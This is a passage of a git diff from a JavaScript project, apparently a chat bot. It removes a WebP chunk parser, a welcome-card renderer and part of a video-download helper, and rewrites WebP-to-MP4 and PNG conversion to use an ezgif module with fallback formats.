- if (img.data.extended.hasAnim) {
- const fr = img.data.anim.frames;
- keepChunk = false;
-
- if (img.data.extended.hasAlpha) {
- alpha = true;
- }
-
- for (let i = 0, l = fr.length; i < l; i++) {
- _w = fr[i].width + _x > _w ? fr[i].width + _x : _w;
- _h = fr[i].height + _y > _h ? fr[i].height + _y : _h;
- let b = Buffer.alloc(8);
- b.write('ANMF', 0);
- b.writeUInt32LE(fr[i].raw.length, 4);
- out.push(b, fr[i].raw);
-
- if (fr[i].raw.length & 1) {
- out.push(nullByte);
- }
-
- b = fr[i].raw;
- b.writeUIntLE(_x, 0, 3);
- b.writeUIntLE(_y, 3, 3);
- b.writeUIntLE(_delay, 12, 3);
-
- if (!_blend) {
- b[15] |= 0b00000010;
- } else {
- b[15] &= 0b11111101;
- }
-
- if (_dispose) {
- b[15] |= 0b00000001;
- } else {
- b[15] &= 0b11111110;
- }
- }
- } else {
- _w = img.data.extended.width > _w ? img.data.extended.width : _w;
- _h =
- img.data.extended.height > _h ? img.data.extended.height : _h;
-
- if (img.data.vp8) {
- imgData = [];
-
- if (img.data.alph) {
- alpha = true;
- imgData.push(...createBasicChunk('ALPH', img.data.alph.raw));
- size += img.data.alph.raw.length + 8;
- }
-
- imgData.push(...createBasicChunk('VP8 ', img.data.vp8.raw));
- size += img.data.vp8.raw.length + 8;
- } else if (img.data.vp8l) {
- imgData = createBasicChunk('VP8L', img.data.vp8l.raw);
-
- if (img.data.vp8l.alpha) {
- alpha = true;
- }
-
- size += img.data.vp8l.raw.length + 8;
- }
- }
-
- break;
-
- default:
- throw new Error('Unknown image type');
- }
-
- if (keepChunk) {
- chunk.writeUInt32LE(size, 4);
- out.push(chunk, ...imgData);
- }
- }
-
- if (width == 0) {
- out[1].writeUIntLE(_w - 1, 12, 3);
- }
-
- if (height == 0) {
- out[1].writeUIntLE(_h - 1, 15, 3);
- }
-
- size = 4;
-
- for (let i = 1, l = out.length; i < l; i++) {
- size += out[i].length;
- }
-
- header.writeUInt32LE(size, 4);
-
- if (alpha) {
- out[1][8] |= 0b00010000;
- }
-
- const fp = yield fs.open(path, 'w');
-
- for (let i = 0, l = out.length; i < l; i++) {
- yield fs.write(fp, out[i], 0, undefined, undefined);
- }
-
- yield fs.close(fp);
- })();
- }
-}
-
-var _convertToExtended2 = function _convertToExtended2() {
- if (!this.loaded) {
- throw new Error('No image loaded');
- }
-
- this.data.type = constants.TYPE_EXTENDED;
- this.data.extended = {
- hasICC: false,
- hasAlpha: false,
- hasEXIF: false,
- hasXMP: false,
- width: this.vp8 ? this.vp8.width : this.vp8l ? this.vp8l.width : 1,
- height: this.vp8 ? this.vp8.height : this.vp8l ? this.vp8l.height : 1,
- };
-};
-
-var _demuxFrame2 = /* #__PURE__*/ (function() {
- const _demuxFrame3 = _asyncToGenerator(function* (path, frame) {
- const header = Buffer.alloc(12);
- let size;
- let chunk;
- const out = [];
- header.write('RIFF', 0);
- header.write('WEBP', 8);
- out.push(header);
-
- if (
- this.data.extended.hasICC ||
- this.data.extended.hasEXIF ||
- this.data.extended.hasXMP ||
- (frame.vp8 && frame.vp8.alpha)
- ) {
- chunk = Buffer.alloc(18);
- chunk.write('VP8X', 0);
- chunk.writeUInt32LE(10, 4);
-
- if (this.data.extended.hasICC) {
- chunk[8] |= 0b00100000;
- }
-
- if ((frame.vp8l && frame.vp8l.alpha) || (frame.vp8 && frame.vp8.alpha)) {
- chunk[8] |= 0b00010000;
- }
-
- if (this.data.extended.hasEXIF) {
- chunk[8] |= 0b00001000;
- }
-
- if (this.data.extended.hasXMP) {
- chunk[8] |= 0b00000100;
- }
-
- chunk.writeUIntLE(frame.width - 1, 12, 3);
- chunk.writeUIntLE(frame.height - 1, 15, 3);
- out.push(chunk);
-
- if (this.data.extended.hasICC) {
- out.push(...createBasicChunk('ICCP', this.data.extended.icc.raw));
- }
- }
-
- if (frame.vp8l) {
- out.push(...createBasicChunk('VP8L', frame.vp8l.raw));
- } else if (frame.vp8) {
- if (frame.vp8.alpha) {
- out.push(...createBasicChunk('ALPH', frame.alph.raw));
- }
-
- out.push(...createBasicChunk('VP8 ', frame.vp8.raw));
- } else {
- throw new Error('Frame has no VP8/VP8L?');
- }
-
- if (this.type == constants.TYPE_EXTENDED) {
- if (this.data.extended.hasEXIF) {
- out.push(...createBasicChunk('EXIF', this.data.extended.exif.raw));
- }
-
- if (this.data.extended.hasXMP) {
- out.push(...createBasicChunk('XMP ', this.data.extended.xmp.raw));
- }
- }
-
- size = 4;
-
- for (let i = 1, l = out.length; i < l; i++) {
- size += out[i].length;
- }
-
- header.writeUInt32LE(size, 4);
- const fp = yield fs.open(path, 'w');
-
- for (let i = 0, l = out.length; i < l; i++) {
- yield fs.write(fp, out[i], 0, undefined, undefined);
- }
-
- yield fs.close(fp);
- });
-
- function _demuxFrame2(_x2, _x3) {
- return _demuxFrame3.apply(this, arguments);
- }
-
- return _demuxFrame2;
-})();
-
-const _readHeader2 = /* #__PURE__*/ (function() {
- const _readHeader3 = _asyncToGenerator(function* (fd) {
- const buf = Buffer.alloc(12);
- const {bytesRead} = yield fs.read(fd, buf, 0, 12, undefined);
-
- if (bytesRead != 12) {
- throw new Error('Reached end of file while reading header');
- }
-
- if (buf.toString('utf8', 0, 4) != 'RIFF') {
- throw new Error('Bad header (not RIFF)');
- }
-
- if (buf.toString('utf8', 8, 12) != 'WEBP') {
- throw new Error('Bad header (not WEBP)');
- }
-
- return {
- fileSize: buf.readUInt32LE(4),
- };
- });
-
- function _readHeader2(_x4) {
- return _readHeader3.apply(this, arguments);
- }
-
- return _readHeader2;
-})();
-
-const _readChunkHeader2 = /* #__PURE__*/ (function() {
- const _readChunkHeader3 = _asyncToGenerator(function* (fd) {
- const buf = Buffer.alloc(8);
- const {bytesRead} = yield fs.read(fd, buf, 0, 8, undefined);
-
- if (bytesRead == 0) {
- return {
- fourCC: '\x00\x00\x00\x00',
- size: 0,
- };
- } else if (bytesRead < 8) {
- throw new Error('Reached end of file while reading chunk header');
- }
-
- return {
- fourCC: buf.toString('utf8', 0, 4),
- size: buf.readUInt32LE(4),
- };
- });
-
- function _readChunkHeader2(_x5) {
- return _readChunkHeader3.apply(this, arguments);
- }
-
- return _readChunkHeader2;
-})();
-
-const _readChunkHeader_buf2 = function _readChunkHeader_buf2(buf, cursor) {
- if (cursor >= buf.length) {
- return {
- fourCC: '\x00\x00\x00\x00',
- size: 0,
- };
- }
-
- return {
- fourCC: buf.toString('utf8', cursor, cursor + 4),
- size: buf.readUInt32LE(cursor + 4),
- };
-};
-
-const _readChunk_raw2 = /* #__PURE__*/ (function() {
- const _readChunk_raw3 = _asyncToGenerator(function* (n, fd, size) {
- const buf = Buffer.alloc(size);
- const discard = Buffer.alloc(1);
- const {bytesRead} = yield fs.read(fd, buf, 0, size, undefined);
-
- if (bytesRead != size) {
- throw new Error(`Reached end of file while reading ${n} chunk`);
- }
-
- if (size & 1) {
- yield fs.read(fd, discard, 0, 1, undefined);
- }
-
- return {
- raw: buf,
- };
- });
-
- function _readChunk_raw2(_x6, _x7, _x8) {
- return _readChunk_raw3.apply(this, arguments);
- }
-
- return _readChunk_raw2;
-})();
-
-const _readChunk_VP2 = /* #__PURE__*/ (function() {
- const _readChunk_VP3 = _asyncToGenerator(function* (fd, size) {
- const buf = Buffer.alloc(size);
- const discard = Buffer.alloc(1);
- const {bytesRead} = yield fs.read(fd, buf, 0, size, undefined);
-
- if (bytesRead != size) {
- throw new Error('Reached end of file while reading VP8 chunk');
- }
-
- if (size & 1) {
- yield fs.read(fd, discard, 0, 1, undefined);
- }
-
- return {
- raw: buf,
- width: VP8Width(buf, 8),
- height: VP8Height(buf, 8),
- };
- });
-
- function _readChunk_VP2(_x9, _x10) {
- return _readChunk_VP3.apply(this, arguments);
- }
-
- return _readChunk_VP2;
-})();
-
-const _readChunk_VP8_buf2 = function _readChunk_VP8_buf2(buf, size, cursor) {
- if (cursor >= buf.length) {
- throw new Error('Reached end of buffer while reading VP8 chunk');
- }
-
- const raw = buf.slice(cursor, cursor + size);
- return {
- raw,
- width: VP8Width(raw),
- height: VP8Height(raw),
- };
-};
-
-const _readChunk_VP8L2 = /* #__PURE__*/ (function() {
- const _readChunk_VP8L3 = _asyncToGenerator(function* (fd, size) {
- const buf = Buffer.alloc(size);
- const discard = Buffer.alloc(1);
- const {bytesRead} = yield fs.read(fd, buf, 0, size, undefined);
-
- if (bytesRead != size) {
- throw new Error('Reached end of file while reading VP8L chunk');
- }
-
- if (size & 1) {
- yield fs.read(fd, discard, 0, 1, undefined);
- }
-
- return {
- raw: buf,
- alpha: doesVP8LHaveAlpha(buf, 0),
- width: VP8LWidth(buf),
- height: VP8LHeight(buf),
- };
- });
-
- function _readChunk_VP8L2(_x11, _x12) {
- return _readChunk_VP8L3.apply(this, arguments);
- }
-
- return _readChunk_VP8L2;
-})();
-
-const _readChunk_VP8L_buf2 = function _readChunk_VP8L_buf2(buf, size, cursor) {
- if (cursor >= buf.length) {
- throw new Error('Reached end of buffer while reading VP8L chunk');
- }
-
- const raw = buf.slice(cursor, cursor + size);
- return {
- raw,
- alpha: doesVP8LHaveAlpha(raw),
- width: VP8LWidth(raw),
- height: VP8LHeight(raw),
- };
-};
-
-const _readChunk_VP8X2 = /* #__PURE__*/ (function() {
- const _readChunk_VP8X3 = _asyncToGenerator(function* (fd, size) {
- const buf = Buffer.alloc(size);
- const {bytesRead} = yield fs.read(fd, buf, 0, size, undefined);
-
- if (bytesRead != size) {
- throw new Error('Reached end of file while reading VP8X chunk');
- }
-
- return {
- raw: buf,
- hasICC: !!(buf[0] & 0b00100000),
- hasAlpha: !!(buf[0] & 0b00010000),
- hasEXIF: !!(buf[0] & 0b00001000),
- hasXMP: !!(buf[0] & 0b00000100),
- hasAnim: !!(buf[0] & 0b00000010),
- width: buf.readUIntLE(4, 3) + 1,
- height: buf.readUIntLE(7, 3) + 1,
- };
- });
-
- function _readChunk_VP8X2(_x13, _x14) {
- return _readChunk_VP8X3.apply(this, arguments);
- }
-
- return _readChunk_VP8X2;
-})();
-
-const _readChunk_ANIM2 = /* #__PURE__*/ (function() {
- const _readChunk_ANIM3 = _asyncToGenerator(function* (fd, size) {
- const buf = Buffer.alloc(size);
- const {bytesRead} = yield fs.read(fd, buf, 0, size, undefined);
-
- if (bytesRead != size) {
- throw new Error('Reached end of file while reading ANIM chunk');
- }
-
- return {
- raw: buf,
- bgColor: buf.slice(0, 4),
- loopCount: buf.readUInt16LE(4),
- };
- });
-
- function _readChunk_ANIM2(_x15, _x16) {
- return _readChunk_ANIM3.apply(this, arguments);
- }
-
- return _readChunk_ANIM2;
-})();
-
-const _readChunk_ANMF2 = /* #__PURE__*/ (function() {
- const _readChunk_ANMF3 = _asyncToGenerator(function* (fd, size) {
- const buf = Buffer.alloc(size);
- const discard = Buffer.alloc(1);
- const {bytesRead} = yield fs.read(fd, buf, 0, size, undefined);
-
- if (bytesRead != size) {
- throw new Error('Reached end of file while reading ANMF chunk');
- }
-
- if (size & 1) {
- yield fs.read(fd, discard, 0, 1, undefined);
- }
-
- const out = {
- raw: buf,
- x: buf.readUIntLE(0, 3),
- y: buf.readUIntLE(3, 3),
- width: buf.readUIntLE(6, 3) + 1,
- height: buf.readUIntLE(9, 3) + 1,
- duration: buf.readUIntLE(12, 3),
- blend: !(buf[15] & 0b00000010),
- dispose: !!(buf[15] & 0b00000001),
- };
- let keepLooping = true;
- let cursor = 16;
-
- while (keepLooping) {
- const header = _classPrivateMethodGet(
- this,
- _readChunkHeader_buf,
- _readChunkHeader_buf2,
- ).call(this, buf, cursor);
- let t;
-
- cursor += 8;
-
- switch (header.fourCC) {
- case 'VP8 ':
- if (!out.vp8) {
- out.type = constants.TYPE_LOSSY;
- out.vp8 = _classPrivateMethodGet(
- this,
- _readChunk_VP8_buf,
- _readChunk_VP8_buf2,
- ).call(this, buf, header.size, cursor);
- }
-
- break;
-
- case 'VP8L':
- if (!out.vp8l) {
- out.type = constants.TYPE_LOSSLESS;
- out.vp8l = _classPrivateMethodGet(
- this,
- _readChunk_VP8L_buf,
- _readChunk_VP8L_buf2,
- ).call(this, buf, header.size, cursor);
- }
-
- break;
-
- case 'ALPH':
- if (out.vp8) {
- out.alph = _classPrivateMethodGet(
- this,
- _readChunk_ALPH_buf,
- _readChunk_ALPH_buf2,
- ).call(this, buf, header.size, cursor);
- out.vp8.alpha = true;
- }
-
- break;
-
- case '\x00\x00\x00\x00':
- default:
- keepLooping = false;
- break;
- }
-
- cursor += header.size + 1;
-
- if (header.size & 1) {
- cursor++;
- }
-
- if (cursor >= buf.length) {
- keepLooping = false;
- }
- }
-
- return out;
- });
-
- function _readChunk_ANMF2(_x17, _x18) {
- return _readChunk_ANMF3.apply(this, arguments);
- }
-
- return _readChunk_ANMF2;
-})();
-
-const _readChunk_ALPH2 = /* #__PURE__*/ (function() {
- const _readChunk_ALPH3 = _asyncToGenerator(function* (fd, size) {
- return _classPrivateMethodGet(this, _readChunk_raw, _readChunk_raw2).call(
- this,
- 'ALPH',
- fd,
- size,
- );
- });
-
- function _readChunk_ALPH2(_x19, _x20) {
- return _readChunk_ALPH3.apply(this, arguments);
- }
-
- return _readChunk_ALPH2;
-})();
-
-var _readChunk_ALPH_buf2 = function _readChunk_ALPH_buf2(buf, size, cursor) {
- if (cusor >= buf.length) {
- throw new Error('Reached end of buffer while reading ALPH chunk');
- }
-
- return {
- raw: buf.slice(cursor, cursor + size),
- };
-};
-
-const _readChunk_ICCP2 = /* #__PURE__*/ (function() {
- const _readChunk_ICCP3 = _asyncToGenerator(function* (fd, size) {
- return _classPrivateMethodGet(this, _readChunk_raw, _readChunk_raw2).call(
- this,
- 'ICCP',
- fd,
- size,
- );
- });
-
- function _readChunk_ICCP2(_x21, _x22) {
- return _readChunk_ICCP3.apply(this, arguments);
- }
-
- return _readChunk_ICCP2;
-})();
-
-const _readChunk_EXIF2 = /* #__PURE__*/ (function() {
- const _readChunk_EXIF3 = _asyncToGenerator(function* (fd, size) {
- return _classPrivateMethodGet(this, _readChunk_raw, _readChunk_raw2).call(
- this,
- 'EXIF',
- fd,
- size,
- );
- });
-
- function _readChunk_EXIF2(_x23, _x24) {
- return _readChunk_EXIF3.apply(this, arguments);
- }
-
- return _readChunk_EXIF2;
-})();
-
-const _readChunk_XMP2 = /* #__PURE__*/ (function() {
- const _readChunk_XMP3 = _asyncToGenerator(function* (fd, size) {
- return _classPrivateMethodGet(this, _readChunk_raw, _readChunk_raw2).call(
- this,
- 'XML',
- fd,
- size,
- );
- });
-
- function _readChunk_XMP2(_x25, _x26) {
- return _readChunk_XMP3.apply(this, arguments);
- }
-
- return _readChunk_XMP2;
-})();
-
-const _readChunk_Skip2 = /* #__PURE__*/ (function() {
- const _readChunk_Skip3 = _asyncToGenerator(function* (fd, size) {
- const buf = Buffer.alloc(size);
- const discard = Buffer.alloc(1);
- const {bytesRead} = yield fs.read(fd, buf, 0, size, undefined);
-
- if (bytesRead != size) {
- throw new Error('Reached end of file while skipping chunk');
- }
-
- if (size & 1) {
- yield fs.read(fd, discard, 0, 1, undefined);
- }
- });
-
- function _readChunk_Skip2(_x27, _x28) {
- return _readChunk_Skip3.apply(this, arguments);
- }
-
- return _readChunk_Skip2;
-})();
-
-var _read2 = /* #__PURE__*/ (function() {
- const _read3 = _asyncToGenerator(function* (path) {
- const fd = yield fs.open(path, 'r');
- const out = {};
- let keepLooping = true;
- let first = true;
- const {fileSize} = yield _classPrivateMethodGet(
- this,
- _readHeader,
- _readHeader2,
- ).call(this, fd);
-
- while (keepLooping) {
- const {fourCC, size} = yield _classPrivateMethodGet(
- this,
- _readChunkHeader,
- _readChunkHeader2,
- ).call(this, fd);
-
- switch (fourCC) {
- case 'VP8 ':
- if (!out.vp8) {
- out.vp8 = yield _classPrivateMethodGet(
- this,
- _readChunk_VP,
- _readChunk_VP2,
- ).call(this, fd, size);
- } else {
- yield _classPrivateMethodGet(
- this,
- _readChunk_Skip,
- _readChunk_Skip2,
- ).call(this, fd, size);
- }
-
- if (first) {
- out.type = constants.TYPE_LOSSY;
- keepLooping = false;
- }
-
- break;
-
- case 'VP8L':
- if (!out.vp8l) {
- out.vp8l = yield _classPrivateMethodGet(
- this,
- _readChunk_VP8L,
- _readChunk_VP8L2,
- ).call(this, fd, size);
- } else {
- yield _classPrivateMethodGet(
- this,
- _readChunk_Skip,
- _readChunk_Skip2,
- ).call(this, fd, size);
- }
-
- if (first) {
- out.type = constants.TYPE_LOSSLESS;
- keepLooping = false;
- }
-
- break;
-
- case 'VP8X':
- if (!out.extended) {
- out.type = constants.TYPE_EXTENDED;
- out.extended = yield _classPrivateMethodGet(
- this,
- _readChunk_VP8X,
- _readChunk_VP8X2,
- ).call(this, fd, size);
- } else {
- yield _classPrivateMethodGet(
- this,
- _readChunk_Skip,
- _readChunk_Skip2,
- ).call(this, fd, size);
- }
-
- break;
-
- case 'ANIM':
- if (!out.anim) {
- const {raw, bgColor, loopCount} = yield _classPrivateMethodGet(
- this,
- _readChunk_ANIM,
- _readChunk_ANIM2,
- ).call(this, fd, size);
- out.anim = {
- backgroundColor: [bgColor[2], bgColor[1], bgColor[0], bgColor[3]],
- loopCount,
- frames: [],
- };
- out.anim.raw = raw;
- } else {
- yield _classPrivateMethodGet(
- this,
- _readChunk_Skip,
- _readChunk_Skip2,
- ).call(this, fd, size);
- }
-
- break;
-
- case 'ANMF':
- {
- const f = yield _classPrivateMethodGet(
- this,
- _readChunk_ANMF,
- _readChunk_ANMF2,
- ).call(this, fd, size);
- out.anim.frames.push(f);
- }
- break;
-
- case 'ALPH':
- if (!out.alph) {
- out.alph = yield _classPrivateMethodGet(
- this,
- _readChunk_ALPH,
- _readChunk_ALPH2,
- ).call(this, fd, size);
- } else {
- yield _classPrivateMethodGet(
- this,
- _readChunk_Skip,
- _readChunk_Skip2,
- ).call(this, fd, size);
- }
-
- break;
-
- case 'ICCP':
- if (!out.iccp) {
- out.iccp = yield _classPrivateMethodGet(
- this,
- _readChunk_ICCP,
- _readChunk_ICCP2,
- ).call(this, fd, size);
- } else {
- yield _classPrivateMethodGet(
- this,
- _readChunk_Skip,
- _readChunk_Skip2,
- ).call(this, fd, size);
- }
-
- break;
-
- case 'EXIF':
- if (!out.exif) {
- out.exif = yield _classPrivateMethodGet(
- this,
- _readChunk_EXIF,
- _readChunk_EXIF2,
- ).call(this, fd, size);
- } else {
- yield _classPrivateMethodGet(
- this,
- _readChunk_Skip,
- _readChunk_Skip2,
- ).call(this, fd, size);
- }
-
- break;
-
- case 'XMP ':
- if (!out.xmp) {
- out.xmp = yield _classPrivateMethodGet(
- this,
- _readChunk_XMP,
- _readChunk_XMP2,
- ).call(this, fd, size);
- } else {
- yield _classPrivateMethodGet(
- this,
- _readChunk_Skip,
- _readChunk_Skip2,
- ).call(this, fd, size);
- }
-
- break;
-
- case '\x00\x00\x00\x00':
- keepLooping = false;
- break;
-
- default:
- yield _classPrivateMethodGet(
- this,
- _readChunk_Skip,
- _readChunk_Skip2,
- ).call(this, fd, size);
- break;
- }
-
- first = false;
- }
-
- if (out.type == constants.TYPE_EXTENDED && out.extended.hasAnim) {
- out.anim.frameCount = out.anim.frames.length;
- }
-
- return out;
- });
-
- function _read2(_x29) {
- return _read3.apply(this, arguments);
- }
-
- return _read2;
-})();
-
-const _default = {
- TYPE_LOSSY: constants.TYPE_LOSSY,
- TYPE_LOSSLESS: constants.TYPE_LOSSLESS,
- TYPE_EXTENDED: constants.TYPE_EXTENDED,
- Image,
-};
-exports.default = _default;
diff --git a/lib/webp2mp4.js b/lib/webp2mp4.js
index 4ceefd29f..0ac6ccb9a 100644
--- a/lib/webp2mp4.js
+++ b/lib/webp2mp4.js
@@ -1,65 +1,171 @@
-import fetch from 'node-fetch';
-import {FormData, Blob} from 'formdata-node';
-import {JSDOM} from 'jsdom';
-/**
- *
- * @param {Buffer|String} source
- */
+import { convert } from "./ezgif-convert.js"
+import { FormData, Blob } from 'formdata-node'
+import { fileTypeFromBuffer } from "file-type"
+import crypto from "crypto"
+
+const randomBytes = crypto.randomBytes(5).toString("hex");
+const urlRegex = /^(https?|ftp):\/\/[^\s/$.?#].[^\s]*$/;
+
async function webp2mp4(source) {
- const form = new FormData();
- const isUrl = typeof source === 'string' && /https?:\/\//.test(source);
- const blob = !isUrl && new Blob([source.toArrayBuffer()]);
- form.append('new-image-url', isUrl ? blob : '');
- form.append('new-image', isUrl ? '' : blob, 'image.webp');
- const res = await fetch('https://s6.ezgif.com/webp-to-mp4', {
- method: 'POST',
- body: form,
- });
- const html = await res.text();
- const {document} = new JSDOM(html).window;
- const form2 = new FormData();
- const obj = {};
- for (const input of document.querySelectorAll('form input[name]')) {
- obj[input.name] = input.value;
- form2.append(input.name, input.value);
- }
- const res2 = await fetch('https://ezgif.com/webp-to-mp4/' + obj.file, {
- method: 'POST',
- body: form2,
- });
- const html2 = await res2.text();
- const {document: document2} = new JSDOM(html2).window;
- return new URL(document2.querySelector('div#output > p.outfile > video > source').src, res2.url).toString();
+ const isUrl = typeof source === 'string' && urlRegex.test(source);
+
+ try {
+ return await convert({
+ type: 'webp-mp4',
+ ...(isUrl ? {
+ url: source
+ } : {
+ file: new Blob([source]),
+ filename: randomBytes + "." + (await fileTypeFromBuffer(source)).ext
+ })
+ });
+ } catch (error) {
+ console.error("Error converting to webp-mp4. Trying fallback types.");
+
+ try {
+ return await convert({
+ type: 'webp-avif',
+ ...(isUrl ? {
+ url: source
+ } : {
+ file: new Blob([source]),
+ filename: randomBytes + "." + (await fileTypeFromBuffer(source)).ext
+ })
+ });
+ } catch (avifError) {
+ console.error("Error converting to webp-avif. Trying webp-gif.");
+
+ try {
+ return await convert({
+ type: 'webp-gif',
+ ...(isUrl ? {
+ url: source
+ } : {
+ file: new Blob([source]),
+ filename: randomBytes + "." + (await fileTypeFromBuffer(source)).ext
+ })
+ });
+ } catch (gifError) {
+ console.error("Error converting to webp-gif. All fallback types failed.");
+ throw gifError;
+ }
+ }
+ }
}
async function webp2png(source) {
- const form = new FormData();
- const isUrl = typeof source === 'string' && /https?:\/\//.test(source);
- const blob = !isUrl && new Blob([source.toArrayBuffer()]);
- form.append('new-image-url', isUrl ? blob : '');
- form.append('new-image', isUrl ? '' : blob, 'image.webp');
- const res = await fetch('https://s6.ezgif.com/webp-to-png', {
- method: 'POST',
- body: form,
- });
- const html = await res.text();
- const {document} = new JSDOM(html).window;
- const form2 = new FormData();
- const obj = {};
- for (const input of document.querySelectorAll('form input[name]')) {
- obj[input.name] = input.value;
- form2.append(input.name, input.value);
- }
- const res2 = await fetch('https://ezgif.com/webp-to-png/' + obj.file, {
- method: 'POST',
- body: form2,
- });
- const html2 = await res2.text();
- const {document: document2} = new JSDOM(html2).window;
- return new URL(document2.querySelector('div#output > p.outfile > img').src, res2.url).toString();
+ const isUrl = typeof source === 'string' && urlRegex.test(source);
+
+ try {
+ return await convert({
+ type: 'webp-png',
+ ...(isUrl ? {
+ url: source
+ } : {
+ file: new Blob([source]),
+ filename: randomBytes + "." + (await fileTypeFromBuffer(source)).ext
+ })
+ });
+ } catch (pngError) {
+ console.error("Error converting to webp-png. Trying webp-jpg.");
+
+ try {
+ return await convert({
+ type: 'webp-jpg',
+ ...(isUrl ? {
+ url: source
+ } : {
+ file: new Blob([source]),
+ filename: randomBytes + "." + (await fileTypeFromBuffer(source)).ext
+ })
+ });
+ } catch (jpgError) {
+ console.error("Error converting to webp-jpg. All fallback types failed.");
+ throw jpgError;
+ }
+ }
}
export {
- webp2mp4,
- webp2png,
+ webp2mp4,
+ webp2png
};
+
+/*import fetch from 'node-fetch';
+import {
+ FormData,
+ Blob
+} from 'formdata-node';
+import {
+ JSDOM
+} from 'jsdom';
+
+// @param {Buffer|String} source
+
+async function webp2mp4(source) {
+ let form = new FormData()
+ let isUrl = typeof source === 'string' && /https?:\/\//.test(source)
+ const blob = !isUrl && new Blob([source.toArrayBuffer()])
+ form.append('new-image-url', isUrl ? blob : '')
+ form.append('new-image', isUrl ? '' : blob, 'image.webp')
+ let res = await fetch('https://ezgif.com/webp-to-mp4', {
+ method: 'POST',
+ body: form
+ })
+ let html = await res.text()
+ let {
+ document
+ } = new JSDOM(html).window
+ let form2 = new FormData()
+ let obj = {}
+ for (let input of document.querySelectorAll('form input[name]')) {
+ obj[input.name] = input.value
+ form2.append(input.name, input.value)
+ }
+ let res2 = await fetch('https://ezgif.com/webp-to-mp4/' + obj.file, {
+ method: 'POST',
+ body: form2
+ })
+ let html2 = await res2.text()
+ let {
+ document: document2
+ } = new JSDOM(html2).window
+ return new URL(document2.querySelector('div#output > p.outfile > video > source').src, res2.url).toString()
+}
+
+async function webp2png(source) {
+ let form = new FormData()
+ let isUrl = typeof source === 'string' && /https?:\/\//.test(source)
+ const blob = !isUrl && new Blob([source.toArrayBuffer()])
+ form.append('new-image-url', isUrl ? blob : '')
+ form.append('new-image', isUrl ? '' : blob, 'image.webp')
+ let res = await fetch('https://ezgif.com/webp-to-png', {
+ method: 'POST',
+ body: form
+ })
+ let html = await res.text()
+ let {
+ document
+ } = new JSDOM(html).window
+ let form2 = new FormData()
+ let obj = {}
+ for (let input of document.querySelectorAll('form input[name]')) {
+ obj[input.name] = input.value
+ form2.append(input.name, input.value)
+ }
+ let res2 = await fetch('https://ezgif.com/webp-to-png/' + obj.file, {
+ method: 'POST',
+ body: form2
+ })
+ let html2 = await res2.text()
+ let {
+ document: document2
+ } = new JSDOM(html2).window
+ return new URL(document2.querySelector('div#output > p.outfile > img').src, res2.url).toString()
+}
+
+export {
+ webp2mp4,
+ webp2png
+}
+// By @nm9h*/
diff --git a/lib/welcome.js b/lib/welcome.js
deleted file mode 100644
index c8f1465fd..000000000
--- a/lib/welcome.js
+++ /dev/null
@@ -1,114 +0,0 @@
-import {DOMImplementation, XMLSerializer} from 'xmldom';
-import JsBarcode from 'jsbarcode';
-import {JSDOM} from 'jsdom';
-import {readFileSync} from 'fs';
-import {join} from 'path';
-import {spawn} from 'child_process';
-
-const src = join(__dirname, '..', 'src');
-const _svg = readFileSync(join(src, 'welcome.svg'), 'utf-8');
-const barcode = (data) => {
- const xmlSerializer = new XMLSerializer();
- const document = new DOMImplementation().createDocument('http://www.w3.org/1999/xhtml', 'html', null);
- const svgNode = document.createElementNS('http://www.w3.org/2000/svg', 'svg');
-
- JsBarcode(svgNode, data, {
- xmlDocument: document,
- });
-
- return xmlSerializer.serializeToString(svgNode);
-};
-const imageSetter = (img, value) => img.setAttributeNS('http://www.w3.org/1999/xlink', 'xlink:href', value);
-const textSetter = (el, value) => el.textContent = value;
-
-const {document: svg} = new JSDOM(_svg).window;
-/**
- * Generate SVG Welcome
- * @param {object} param0
- * @param {string} param0.wid
- * @param {string} param0.pp
- * @param {string} param0.name
- * @param {string} param0.text
- * @param {string} param0.background
- * @return {string}
- */
-const genSVG = async ({
- wid = '',
- pp = join(src, 'avatar_contact.png'),
- title = '',
- name = '',
- text = '',
- background = '',
-} = {}) => {
- const el = {
- code: ['#_1661899539392 > g:nth-child(6) > image', imageSetter, toBase64(await toImg(barcode(wid.replace(/[^0-9]/g, '')), 'png'), 'image/png')],
- pp: ['#_1661899539392 > g:nth-child(3) > image', imageSetter, pp],
- text: ['#_1661899539392 > text.fil1.fnt0', textSetter, text],
- title: ['#_1661899539392 > text.fil2.fnt1', textSetter, title],
- name: ['#_1661899539392 > text.fil2.fnt2', textSetter, name],
- bg: ['#_1661899539392 > g:nth-child(2) > image', imageSetter, background],
- };
- for (const [selector, set, value] of Object.values(el)) {
- set(svg.querySelector(selector), value);
- }
- return svg.body.innerHTML;
-};
-
-const toImg = (svg, format = 'png') => new Promise((resolve, reject) => {
- if (!svg) return resolve(Buffer.alloc(0));
- const bufs = [];
- const im = spawn('magick', ['convert', 'svg:-', format + ':-']);
- im.on('error', (e) => reject(e));
- im.stdout.on('data', (chunk) => bufs.push(chunk));
- im.stdin.write(Buffer.from(svg));
- im.stdin.end();
- im.on('close', (code) => {
- if (code !== 0) reject(code);
- resolve(Buffer.concat(bufs));
- });
-});
-
-const toBase64 = (buffer, mime) => `data:${mime};base64,${buffer.toString('base64')}`;
-
-/**
- * Render SVG Welcome
- * @param {object} param0
- * @param {string} param0.wid
- * @param {string} param0.pp
- * @param {string} param0.name
- * @param {string} param0.text
- * @param {string} param0.background
- * @return {Promise}
- */
-const render = async ({
- wid = '',
- pp = toBase64(readFileSync(join(src, 'avatar_contact.png')), 'image/png'),
- name = '',
- title = '',
- text = '',
- background = toBase64(readFileSync(join(src, 'Aesthetic', 'Aesthetic_000.jpeg')), 'image/jpeg'),
-} = {}, format = 'png') => {
- const svg = await genSVG({
- wid, pp, name, text, background, title,
- });
- return await toImg(svg, format);
-};
-
-if (require.main === module) {
- render({
- wid: '1234567890',
- // pp: '',
- name: 'John Doe',
- text: 'Lorem ipsum\ndot sit color',
- title: 'grup testing',
- // background: ''
- }, 'jpg').then((result) => {
- // console.log(result)
- process.stdout.write(result);
- });
- // toImg(barcode('test')).then(result => {
- // // console.log(result)
- // process.stdout.write(result)
-
- // })
-} else module.exports = render;
diff --git a/lib/y2dl.js b/lib/y2dl.js
deleted file mode 100644
index 8eb730e36..000000000
--- a/lib/y2dl.js
+++ /dev/null
@@ -1,74 +0,0 @@
-import {stat} from 'fs';
-import fetch from 'node-fetch';
-const sleep = async (ms) => new Promise((resolve) => setTimeout(resolve, ms));
-const bestFormat = (url, type) => new Promise(async (resolve, reject) => {
- const at = await fetch('https://srvcdn8.2convert.me/api/json?url=' + url, {
- method: 'GET',
- headers: {
- 'origin': 'https://en1.y2mate.is',
- 'referer': 'https://en1.y2mate.is/',
